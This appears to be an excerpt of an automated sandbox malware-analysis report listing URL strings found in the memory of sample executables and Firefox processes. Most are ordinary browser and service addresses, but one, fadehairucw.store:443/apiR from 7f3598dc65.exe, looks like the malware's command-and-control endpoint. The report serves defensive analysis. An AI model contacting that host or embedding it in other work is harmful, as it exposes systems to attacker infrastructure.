Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000019.00000003.2473178711.000002B9BD1CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000019.00000003.2473178711.000002B9BD1CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2525401575.000002B9A4E30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000019.00000003.2419930987.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000019.00000003.2419930987.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: 606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/mod
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.typeWasRegiste
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: 7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://fadehairucw.store:443/apiR
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B12000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2456017597.000002B9BD031000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2466071630.000002B9BD05D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000019.00000002.2559954237.000002B9B46A0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsSELEC
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B12000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B103C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B2F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtabhttps://getpocket.com/explore
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabThe
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabSends
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreget
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-highlights-options-bookmarks
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsThe
Source: firefox.exe, 00000019.00000002.2553819219.000002B9B1F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2489462434.000002B9BD088000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000019.00000003.2419930987.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000019.00000003.2354817102.000002B9B4B3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2353978137.000002B9B4900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2354383333.000002B9B4B1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/google-analytics-ecommerce-plugin.jsexperiment-
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/get
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: 7f3598dc65.exe, 00000010.00000003.2452134408.000000000067E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIF
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000019.00000002.2532776843.000002B9B07EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submitEnable
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schemaInstance
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2020-12/schema
